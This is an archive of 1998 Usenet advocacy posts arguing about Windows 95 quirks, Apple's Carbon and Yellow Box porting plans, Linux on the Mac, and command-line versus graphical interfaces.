> >In article <ZX8H1.831$3i2.524085@newsfeed.slurp.net>, "Dan"
> ><dan@knowspaam.com> wrote:
> >
> >> blewis wrote in message ...
> >>
> >> >> At least they get released. Better late than never, a la Apple.
> >> >
> >> >Sure, they may get released, but they are buggy as hell and mostly
> >> >unusable until the first service pack.
> >>
> >> Personal opinion...
> >>
> >>
> >> I don't know anyone that knows what the difference is between Win95 and
> >> Win95 with service pack 1... nor can 95% of any Win95 user find or name a
> >> single Win95 bug... can you?
> >
> >What about this one (I know hundreds of Windows users will now come and
> >explain that it is no bug): Windows user asks me for help. His "START"
> >menu is gone. He can still click with the right mouse button pressed and
> >get a start menu, but he cant find it where it is supposed to be and is
> >pretty annoyed. Cant figure out how to get it running. There is, however,
> >a very thin greyish line at the right side of the screen...
> >
> >So what happened: A not very experienced computer user got himself into a
> >situation where he couldnt use his computer properly anymore (as I figured
> >out later, by clicking into the start menu bar at the wrong point and
> >moving the mouse to the wrong point). I call this a bug.
>
> Here's the first Windows user telling you it's not a bug...
>
> It's not a bug.
>
> The idea is you can move the taskbar to any of the four sides by dragging it
> wherever it suits you best.
>
> How is this a bug?
>
> Steven Schulze
> Concord, CA
>
>
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Sat, 05 Sep 1998 10:16:52 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-0509981016520001@jchristie.halifaxcable.dal.ca>
References: <Eys0Cz.9DC@T-FCN.Net> <B215C16A-18F0EB@206.165.43.164>
In article <B215C16A-18F0EB@206.165.43.164>, "Lawson English"
<english@primenet.com> wrote:
> How easily is "very easily?" The claims are that Carbonizing an existing
> app takes a few weeks to months. How long to redo the same app and fit it
> into the Yellow Box? I know from personal experience that it isn't easy to
> go from the Think Class Libraries to PowerPlant. What makes the
> TCL/MacApp/PP/Raw-Toolbox => Yellow Box transition easier than
> TCL/MacApp/PP/Raw-Toolbox => Carbon?
PP will be Carbonized so no transition.
Ditto for MacApp but know timeline for that will be promised.
ToolBox almost equals Carbon and that is where most of the time will be
spent.
TCL stuff should be moved to YB :)
It would be vastly more difficult to move from PP/MacApp/TooloBox to YB
because very little is the same. As I've stated above PP and ToolBox
programmers will have very little to do because PP will be ported for them
by Metrowerks and the ToolBox will be very similar.
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Sat, 05 Sep 1998 10:18:14 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-0509981018140001@jchristie.halifaxcable.dal.ca>
References: <EyrsDM.Hsp@T-FCN.Net> <B2158A70-C061C@206.165.43.164>
In article <B2158A70-C061C@206.165.43.164>, "Lawson English"
<english@primenet.com> wrote:
> No-one is stopping you from using the Yellow Box. The only reason why I am
> doing GXFCN using the obsolete GX API is because
Well, Apple is stopping alot of people from experimenting with YB by
requiring they pony up $500.
BTW, anyone here about the YB programming contest put on by Apple Germany?
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: Sat, 5 Sep 1998 10:39:14 -0500
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <19980905103914456877@ts1-13.aug.com>
References: <6o8adb$i746@odie.mcleod.net> <ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de> <pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134> <joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <6s5408$kc5$1@reader1.reader.news.ozemail.net> <6s6hd0$30u@news1.panix.com> <SCOTT.98Aug28130819@slave.doubleu.com> <C0B648C27726E4D5.5F2A2E5BD20E39EE.39C4D77D23F1CD83@library-proxy.airnews.net>
Shelton Garner <leebum@nottowayez.net> wrote:
> Know It is doomed if it doesn't embrace Linux. And I don't see that as
> likely unless Apple were to buy Netscape make Jim Barksdale CEO and
> use a little bit of its cash reserves to kick M$ of the board. When I
> say As We Know It, I mean a company that provides both software and
> hardware solutions. Although even with Linux, that's not assured--I
> suspect a Caldera Linux distribution with a Mac GUI would be much
> better than an Apple distribution with a Mac GUI, simply because it'd
> be easier to get business folks to look into it.
As far as I can tell, much of the next MacOS is BSD... Unix. There
should also be 3rd party, or even Apple brand, CLI for the CLI crowd.
Unix type apps should run under the new OS. The only thing mising from
"your Linux experience" is that there will still be proprietary parst to
the OS.. my question is... so what? No one is pushing for Microsoft to
embrace Unix or Linux. No one is pushng for Linux or Unix to replace
NT... Why Apple??
..and you already have an Apple Linux distribution... MK Linux.
--
Remove nojunk from my email address to reply by email.
From: antwun@yahoo.com (vapor)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Sat, 05 Sep 1998 14:41:30 GMT
Organization: ...
Message-ID: <35f54abf.2225065@news.alt.net>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <christian.bau-0209981357220001@christian-mac.isltd.insignia.com> <6sm7m1$p16$1@supernews.com> <6srcdn$2dl$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
hughesojh@my-dejanews.com wrote:
>Windoze user filth mentality:
>
>"If the computer does something dumb, why it must be MY fault".
Yes, 9 times out of 10 that's the case.
>
>A decent OS should work how you want it to.
What OS offers the user more customization options?
Linux would have to be number one because the source code is
distributed with the OS. Win9x/NT would be second. Both allow the user
to freely configure almost every aspect of the OS. MacOS doesn't even
make the list as far as I'm concerned. You either do it Apples way or
you can FOAD.
>If it doesn't, then you should be able to change it.
Tell that to Apple.
>
>Owen Hughes
>
>Bready_1138@postmaster.co.uk
>
>
>
>In article <6sm7m1$p16$1@supernews.com>,
> "Steven Schulze" <sschulze@netwiz.net> wrote:
>>
>> Christian Bau wrote in message ...
>> >In article <ZX8H1.831$3i2.524085@newsfeed.slurp.net>, "Dan"
>> ><dan@knowspaam.com> wrote:
>> >
>> >> blewis wrote in message ...
>> >>
>> >> >> At least they get released. Better late than never, a la Apple.
>> >> >
>> >> >Sure, they may get released, but they are buggy as hell and mostly
>> >> >unusable until the first service pack.
>> >>
>> >> Personal opinion...
>> >>
>> >>
>> >> I don't know anyone that knows what the difference is between Win95 and
>> >> Win95 with service pack 1... nor can 95% of any Win95 user find or name a
>> >> single Win95 bug... can you?
>> >
>> >What about this one (I know hundreds of Windows users will now come and
>> >explain that it is no bug): Windows user asks me for help. His "START"
>> >menu is gone. He can still click with the right mouse button pressed and
>> >get a start menu, but he cant find it where it is supposed to be and is
>> >pretty annoyed. Cant figure out how to get it running. There is, however,
>> >a very thin greyish line at the right side of the screen...
>> >
>> >So what happened: A not very experienced computer user got himself into a
>> >situation where he couldnt use his computer properly anymore (as I figured
>> >out later, by clicking into the start menu bar at the wrong point and
>> >moving the mouse to the wrong point). I call this a bug.
>>
>> Here's the first Windows user telling you it's not a bug...
>>
>> It's not a bug.
>>
>> The idea is you can move the taskbar to any of the four sides by dragging it
>> wherever it suits you best.
>>
>> How is this a bug?
>>
--
vapor
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: Sat, 5 Sep 1998 10:39:20 -0500
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <19980905103920457219@ts1-13.aug.com>
References: <6o8adb$i746@odie.mcleod.net> <ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de> <pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134> <joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <6s5408$kc5$1@reader1.reader.news.ozemail.net> <6s6hd0$30u@news1.panix.com> <SCOTT.98Aug28130819@slave.doubleu.com> <EyK67n.7DI@T-FCN.Net> <D31B50461F33C90C.B0C9BB4EF6A49007.725D4B0B54C08000@library-proxy.airnews.net> <EyMHA5.9At@T-FCN.Net> <35EC8621.A28FBDDA@ericsson.com> <6sibgk$ssh@news1.panix.com> <89DA80382AE9C9D2.B50B13F0EB2D178E.DA44ABF2DF68B50A@library-proxy.airnews.net>
Shelton Garner <leebum@nottowayez.net> wrote:
> All this could be overcome if the company had a CEO with a Linux
> "vision." Apple would _thrive_, regardless of the time it took to
> port things to Linux if it were seen as promoting Linux-with-Mac-GUI
> as "the future."
They have a CEO with a "people's computer" vision. apple IS thriving.
Apple's share is rising. Apple is giving you a Linux distribution.
LinuxPPC is out there. It seems Apple is NOT interested in making Linux
the underlying OS, even after Unix was considered with BeOS, NT and
NeXT.
If you want to run Linux on a MAc, you can, but dont force the rest of
us to do it.
--
Remove nojunk from my email address to reply by email.
From: macquest@hotmail.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Sat, 05 Sep 1998 15:35:14 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6srlni$crv$1@nnrp1.dejanews.com>
References: <joe.ragosta-0209981709230001@wil78.dol.net> <B2132A13-45BC2@206.165.43.179> <EypqG4.4pI@T-FCN.Net> <6sn8a6$vae$1@nnrp1.snfc21.pbi.net> <6snl5a$pk85@odie.mcleod.net> <bsarpNOSPAM-0409980302490001@47.net10.nauticom.net> <6sp0b9$gvu1@odie.mcleod.net> <6sp3dj$8h2$1@nnrp02.primenet.com>
> : Balaji Sarpeshkar wrote in message ...
>
> : >Forgive me for interjecting, but I do use a GUI ftp application: Anarchie,
> : >by Peter Lewis. After being spoiled by drag-and-drop batch file transfer,
> : >among other things, I don't really think I could use a command line ftp
> : >tool.
>
> : That is my point. You are using ftp from a GUI. That implies that ftp is
> : useful for you in spite of its command line heritage. If you use make from
> : a GUI IDE that implies the same thing. Do not discard make because it has a
> : command line heritage any more than you discard ftp.
>
> I wonder how many people know that the web boils down to a series of text
> commands which are sent from your computer to a server:
>
> HEAD /htdocs/index.html HTTP/1.0
>
> GET /htdocs/index.html HTTP/1.0
>
> etc.
>
> Why do people think text is scary? You start to learn it when you are
> just a few years old. Or is this some kind of residual fear of learning
> the ABCs?
>
Comand lines are not scary, but ween you have to learn 500 comands it starts
to be easy to forget some. Having to look up in the manual is a loss of time,
not to mention the time that you spend in learning the 500 comands. In a GUI
everything is there, you can see things so it is more dificult to forget and
easier to learn so there is less time lost at the end.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Sat, 5 Sep 1998 13:14:46 -0400
Organization: phenix@interpath.com
Message-ID: <1devuby.1ybxv69yvh9hcN@roxboro0-014.dyn.interpath.net>
References: <nagleExo0yE.H1H@netcom.com> <1de0ddo.kg5qnj1ibzwr1N@roxboro0-031.dyn.interpath.net> <6rfaqa$aqg$1@nnrp1.dejanews.com> <1de2naw.1k0bg7i14dfdxlN@roxboro0-018.dyn.interpath.net> <6ricof$rpt$1@lwnws01.ne.highway1.com> <B2021373-186F9@206.165.43.14> <6rj2q7$cqc$1@nnrp1.dejanews.com> <B2026BDE-1FDB3@206.165.43.101> <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net> <6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net> <6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net> <6sl6h2$8qa$1@nnrp1.dejanews.com> <1deraeu.1v5e00i17gft7dN@roxboro0-046.dyn.interpath.net> <christian.bau-0309981203510001@christian-mac.isltd.insignia.com> <35ef8d3f.0@carrera> <1detqbi.pz6yn07bvo30N@roxboro0-021.dyn.interpath.net> <35f04cf7.0@carrera> <1deulz7.obdwg71dn8kh8N@roxboro0-056.dyn.interpath.net> <35f10a15.0@carrera>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: nobody
In comp.sys.next.advocacy Brian Quinlan <quinlan@intergate.bc.ca> wrote:
> phenix@interpath.com (John Moreno) wrote:
>
> > His method requires that, mine doesn't - using what I said the first
> > thing the program knows about it is when a mousedown event in the menu
> > is returned - the rest of it is handled behind the back of the app.
>
> When does the application get an opportunity to set the state of it's
> menus before the user sees them?
I currently do it after each command or event that can change the state
(actually I set a global flag saying that the menu has changed, and then
after processing the event test the flag to see if the menus need to be
updated).
If it's common to update the menu before calling MenuSelect (which I'd
be afraid would produce a unnaceptable delay before responding), then of
course it can't be done totally behind the programs back - but then
again doing it behind the programs back is only useful for blue-box apps
(carbon apps can be updated in 5 minutes to receive menu events directly
- introduce both a new event code and a new WNE call which says that
it's OK to handle mousedown in the menu bar).
--
John Moreno
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 5 Sep 1998 19:03:51 GMT
Organization: Primenet (602)416-7000
Message-ID: <6ss1un$14c$1@nnrp03.primenet.com>
References: <joe.ragosta-0209981709230001@wil78.dol.net> <B2132A13-45BC2@206.165.43.179> <EypqG4.4pI@T-FCN.Net> <6sn8a6$vae$1@nnrp1.snfc21.pbi.net> <6snl5a$pk85@odie.mcleod.net> <bsarpNOSPAM-0409980302490001@47.net10.nauticom.net>
<6sp0b9$gvu1@odie.mcleod.net> <6sp3dj$8h2$1@nnrp02.primenet.com> <6srlni$crv$1@nnrp1.dejanews.com>
macquest@hotmail.com wrote:
: Comand lines are not scary, but ween you have to learn 500 comands it starts
: to be easy to forget some. Having to look up in the manual is a loss of time,
: not to mention the time that you spend in learning the 500 comands.
1. There are less than ten "first line" commands.
2. A book is useful to learn basic concepts.
3. The "man" command is vastly underrated.
Actually, the fear of text held by CLI foes is most often demonstrated by
an aversion to "man". Why? When I type "man command", my system finds a
nice essay on the use of the command. What could be better for a lover of
words?
: In a GUI
: everything is there, you can see things so it is more dificult to forget and
: easier to learn so there is less time lost at the end.
I like GUIs and use them every day. My appreciation of text does not
imply an aversion to images. Why should it?
John
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 5 Sep 1998 19:29:18 GMT
Organization: I don't think so
Message-ID: <slrn6v34hs.4cq.jason@jhste1.dyn.ml.org>
References: <joe.ragosta-0209981709230001@wil78.dol.net> <B2132A13-45BC2@206.165.43.179> <EypqG4.4pI@T-FCN.Net> <6sn8a6$vae$1@nnrp1.snfc21.pbi.net> <6snl5a$pk85@odie.mcleod.net> <bsarpNOSPAM-0409980302490001@47.net10.nauticom.net> <6sp0b9$gvu1@odie.mcleod.net> <6sp3dj$8h2$1@nnrp02.primenet.com> <6srlni$crv$1@nnrp1.dejanews.com> <6ss1un$14c$1@nnrp03.primenet.com>
John Jensen posted the following to comp.sys.mac.advocacy:
>: Comand lines are not scary, but ween you have to learn 500 comands it starts
>: to be easy to forget some. Having to look up in the manual is a loss of time,
>: not to mention the time that you spend in learning the 500 comands.
>1. There are less than ten "first line" commands.
Indeed. This cuts through the FUD as well as anything I've seen. A Mac
user could probably learn those commands simply by looking through DejaNews
for CLI vs. GUI threads and reading the examples/explanations.
Of course, the knee-jerk response is that one of these commands is "grep",
which has a counterintuitive name (as if "Anarchie" is an intuitive name
for an FTP client...), making the UNIX CLI really cryptic and everything.
Sheesh - the average Windows 95 start button contains dozens of entries
in comparison, with wonderful names like pcanywhere32, whatever the hell
_that_ means.
>2. A book is useful to learn basic concepts.
Absolutely. Many UNIX books are written specifically for people who hve
never used any kind of CLI environment, and explain everything is great
detail, step by step.
>3. The "man" command is vastly underrated.
I wouldn't advise the use of manpages to _learn_ UNIX, though.
--
When I was a boy I was told that anybody could become President. Now
I'm beginning to believe it.
-- Clarence Darrow
From: heaney@SolidObject.com (John Heaney)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Message-ID: <heaney-0509981648590001@24.0.246.137>
References: <joe.ragosta-0209981709230001@wil78.dol.net> <B2132A13-45BC2@206.165.43.179> <EypqG4.4pI@T-FCN.Net> <6sn8a6$vae$1@nnrp1.snfc21.pbi.net> <6snl5a$pk85@odie.mcleod.net> <bsarpNOSPAM-0409980302490001@47.net10.nauticom.net> <6sp0b9$gvu1@odie.mcleod.net> <6sp3dj$8h2$1@nnrp02.primenet.com> <6srlni$crv$1@nnrp1.dejanews.com> <6ss1un$14c$1@nnrp03.primenet.com>
Organization: Solid Object Software
Date: Sat, 05 Sep 1998 20:40:17 GMT
NNTP-Posting-Date: Sat, 05 Sep 1998 13:40:17 PDT
In article <6ss1un$14c$1@nnrp03.primenet.com>, John Jensen
<jjens@primenet.com> wrote:
> macquest@hotmail.com wrote:
> : Comand lines are not scary, but ween you have to learn 500 comands it starts
> : to be easy to forget some. Having to look up in the manual is a loss
of time,
> : not to mention the time that you spend in learning the 500 comands.
>
> 1. There are less than ten "first line" commands.
> 2. A book is useful to learn basic concepts.
> 3. The "man" command is vastly underrated.
I can't believe this is degenerating into a CLI/GUI debate. What the heck
does this have to do with Heidi Roizen, anyway? This debate has already
been settled by the market. The vast majority prefer GUI while a small
minority like CLI. Even so, it's clear that CLI has been improved by GUI.
Back in the old days, I used to have to use the More pipe to see a
screenful of text at a time. At least now I have a scroll bar in my
terminal emulator window.
> Actually, the fear of text held by CLI foes is most often demonstrated by
> an aversion to "man". Why? When I type "man command", my system finds a
> nice essay on the use of the command. What could be better for a lover of
> words?
I would prefer holding down the Control key while clicking on an iconic or
textual representation of "command" and have that bring up a hyper linked
system of navigating through all the related documentation. And then when
I want to execute the command, I want the computer to lead me through all
the steps, circling all the places I have to click with big red virtual
ink. Lo and behold that's what I get with the Mac OS GUI.
> : In a GUI
> : everything is there, you can see things so it is more dificult to forget and
> : easier to learn so there is less time lost at the end.
>
> I like GUIs and use them every day. My appreciation of text does not
> imply an aversion to images. Why should it?
No one who prefers a GUI over a CLI has an aversion to text, per se, but
using text for _input_ is generally more difficult than pointing and
clicking. Textual input usually requires syntax that is not required by
pointing and clicking. Text is a great CLI for people because they self
correct the text as they read it. U ken make all kind of mistakes andstill
get you're point ACross (no what I mean?}. Computers aren't smart enough
to do that yet.
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 5 Sep 1998 21:01:25 GMT
Organization: I don't think so
Message-ID: <slrn6v39uj.4u0.jason@jhste1.dyn.ml.org>
References: <joe.ragosta-0209981709230001@wil78.dol.net> <B2132A13-45BC2@206.165.43.179> <EypqG4.4pI@T-FCN.Net> <6sn8a6$vae$1@nnrp1.snfc21.pbi.net> <6snl5a$pk85@odie.mcleod.net> <bsarpNOSPAM-0409980302490001@47.net10.nauticom.net> <6sp0b9$gvu1@odie.mcleod.net> <6sp3dj$8h2$1@nnrp02.primenet.com> <6srlni$crv$1@nnrp1.dejanews.com> <6ss1un$14c$1@nnrp03.primenet.com> <heaney-0509981648590001@24.0.246.137>
John Heaney posted the following to comp.sys.mac.advocacy:
>> : Comand lines are not scary, but ween you have to learn 500 comands it starts
>> : to be easy to forget some. Having to look up in the manual is a loss
>of time,
>> : not to mention the time that you spend in learning the 500 comands.
>> 1. There are less than ten "first line" commands.
>> 2. A book is useful to learn basic concepts.
>> 3. The "man" command is vastly underrated.
>I can't believe this is degenerating into a CLI/GUI debate. What the heck
>does this have to do with Heidi Roizen, anyway?
She worked for that evil company that tried to wipe out the CLI. ;)
>This debate has already
>been settled by the market. The vast majority prefer GUI while a small
>minority like CLI.
Oh, and I guess that means that Windows is better than anything else.
And so is the Ford Taurus, in that market.
>Even so, it's clear that CLI has been improved by GUI.
Using terminal windows is nice, that's true. I like rxvt.
>Back in the old days, I used to have to use the More pipe to see a
>screenful of text at a time. At least now I have a scroll bar in my
>terminal emulator window.
I'll take more (actually less) over some pointy-clicky crap any day.
Type /(regular expression) to search, instead of pointing and clicking
my way through some dialogue box to do the same thing. Space-bar for next
page, 'b' for previous page. Easy. Why do a need a mouse for that?
>> Actually, the fear of text held by CLI foes is most often demonstrated by
>> an aversion to "man". Why? When I type "man command", my system finds a
>> nice essay on the use of the command. What could be better for a lover of
>> words?
>I would prefer holding down the Control key while clicking on an iconic or
>textual representation of "command" and have that bring up a hyper linked
>system of navigating through all the related documentation. And then when
>I want to execute the command, I want the computer to lead me through all
>the steps, circling all the places I have to click with big red virtual
>ink. Lo and behold that's what I get with the Mac OS GUI.
The fact that it takes 10X as long to point and click your way through
simple things versus a CLI/text file interface doesn't bother you? If
the interface is so bizarre that I need the machine to circle things
with a virtual red marker so that I can figure out how to do anything,
I'm not sure that I want that I want to use it.
--
When I was a boy I was told that anybody could become President. Now
I'm beginning to believe it.
-- Clarence Darrow
From: "William Edward Woody" <woody@alumni.caltech.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Sat, 5 Sep 1998 14:29:16 -0700
Organization: Pacific Bell Internet Services
Message-ID: <6ssadi$jke$1@nnrp4.snfc21.pbi.net>
References: <joe.ragosta-0209981709230001@wil78.dol.net> <B2132A13-45BC2@206.165.43.179> <EypqG4.4pI@T-FCN.Net> <6sn8a6$vae$1@nnrp1.snfc21.pbi.net> <6snl5a$pk85@odie.mcleod.net>
Michelle L. Buck wrote in message <6snl5a$pk85@odie.mcleod.net>...
>Why discard the 25 years of experience and improvement that have gone into
>make and other "command line" tools if you never see them anyway. Next you
>will tell me you don't like ftp because it is a command line tool. Have
you
>ever used a GUI ftp application ?
*sigh*
The issues I raised were general issues of usability by the community
at large. Personally, I'm a strong believer in the Linux freeware
efforts, and have contributed a few thousand lines under the GNU
banner recently.
If we're talking what I use <<personally>>, that's another story.
- Bill Woody
The PandaWave
From: "William Edward Woody" <woody@alumni.caltech.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Sat, 5 Sep 1998 15:20:19 -0700
Organization: Pacific Bell Internet Services
Message-ID: <6ssdd7$i2b$1@nnrp4.snfc21.pbi.net>
References: <EyrsDM.Hsp@T-FCN.Net> <B2158A70-C061C@206.165.43.164> <*johnnyc*-0509981018140001@jchristie.halifaxcable.dal.ca>
John Christie <*johnnyc*@or.psychology.dal.ca> wrote in message
<*johnnyc*-0509981018140001@jchristie.halifaxcable.dal.ca>...
> Well, Apple is stopping alot of people from experimenting with YB by
>requiring they pony up $500.
Of course the irony here is that I *have* ponied up the $500 for the YB
seed. The development tools are great, and the resulting apps look
pretty nice. (So anyone who wants to accuse me of FUD by telling people
that the YB development environment sucks can stop shoving words down
my throat and shove it up their ass instead.)
It's funny but most people here who are so enamored with words apparently
are unable to read mine. So let me state them again, in the hope that they
will bother reading: the main problem is not creating YB apps, but
porting apps to YB. Of course asking programmers to learn a new
development environment is a minor issue--but it's not a showstopper.
Porting existing MacOS code *is* the showstopper.
- Bill Woody
The PandaWave
From: "William Edward Woody" <woody@alumni.caltech.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Sat, 5 Sep 1998 15:13:31 -0700
Organization: Pacific Bell Internet Services
Message-ID: <6ssd0f$l87$1@nnrp4.snfc21.pbi.net>
References: <joe.ragosta-0209981709230001@wil78.dol.net> <B2132A13-45BC2@206.165.43.179> <EypqG4.4pI@T-FCN.Net> <6sn8a6$vae$1@nnrp1.snfc21.pbi.net> <6snl5a$pk85@odie.mcleod.net> <bsarpNOSPAM-0409980302490001@47.net10.nauticom.net> <6sp0b9$gvu1@odie.mcleod.net>
Michelle L. Buck wrote in message <6sp0b9$gvu1@odie.mcleod.net>...
>That is my point. You are using ftp from a GUI. That implies that ftp is
>useful for you in spite of its command line heritage. If you use make from
>a GUI IDE that implies the same thing. Do not discard make because it has
a
>command line heritage any more than you discard ftp.
Most GUI IDEs are not based on make. And in fact, while I find it
distasteful building Makefiles, sometimes it's necessary when building
a non-trivial application. (That's because most IDEs use a simplified
date scheme and a simplified make tree structure which is nowhere
near the power of a Makefile.)
Now if most GUI IDEs were based on Makefiles, it would be possible to
get at the Makefile behind the scenes and add in the special commands
to do a non-trivial build. (I used to do this a lot with Microsoft
Visual C++ v4, which did maintain a Makefile internally.)
In many ways GUI IDEs have a prettier and easier to use interface.
(And I prefer that for those applications which do not require a
complex build tree.) But the comparason you are making to GUI
based FTP engines isn't fair--it'd be more like comparing a
command line FTP to a GUI tool based on the TFTP protocol.
- Bill Woody
The PandaWave
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,alt.folklore.computers
Subject: Re: RDF Watch
MIME-Version: 1.0
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References: <6s1psh$9so@newsb.netnews.att.com> <ckoller-ya02408000R2608981500540001@netnews.worldnet.att.net>
<411F1.2324$MS.3180844@news.rdc1.sdca.home.com> <6s435c$3lo@crcnis3.unl.edu>
Message-ID: <ZLHF1.2583$MS.4465629@news.rdc1.sdca.home.com>
Date: Sat, 29 Aug 1998 00:16:57 GMT
NNTP-Posting-Date: Fri, 28 Aug 1998 17:16:57 PDT
Organization: @Home Network
In <6s435c$3lo@crcnis3.unl.edu> Josh Hesse wrote:
> rr6013@yahoo.com wrote:
> :
> : Personal style aside, Gates brings more tangibles to the task. I used
PC's
> : from 1976 - 1984, Mac's 1984 - 1989, NeXT's 1990 - 1998 and WinXX's 1996
-
> ^^^^^^^^^^^
> 1976? I believe you may be lumping completely different platforms
> together as one.
>
>
Absolutely, OK well what am I gonna call 'em. I was using BIG computers IBM
1301, 360/370 during the day and there was nothing personal about those.
Then there was those boxes you could bring home and have your own computer
(ie. twiddle the lights on the front panel) . The list of failures was long
and in the end we recognize IBM's PC as the "personal computer". To be
honest, big iron guys never took those "toys" seriously. Myself included, it
wasn't until 1985 and COMPAQ's luggable PC was equipped with 3780 bi-synch
mainframe to host communcations that PC's got _real_ . Suddenly these "toys"
were performing _real_ work AND without the reliance upon DATA PROCESSING ,
scheduling and centralized control. It foretold what we understand as
distributed computing what we could only call threaded communications, then.
But it changed the balance of power and continues to this day.
Thanks for catching the hyperbole... :-)
-r
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: Sun, 06 Sep 1998 06:53:27 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35F277B7.A24FECD6@nstar.net>
References: <ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de> <pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134> <joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <6s5408$kc5$1@reader1.reader.news.ozemail.net> <6s6hd0$30u@news1.panix.com> <SCOTT.98Aug28130819@slave.doubleu.com> <EyK67n.7DI@T-FCN.Net> <D31B50461F33C90C.B0C9BB4EF6A49007.725D4B0B54C08000@library-proxy.airnews.net> <EyMHA5.9At@T-FCN.Net> <35EC8621.A28FBDDA@ericsson.com> <joe.ragosta-0509980657340001@elk64.dol.net>
Mime-Version: 1.0
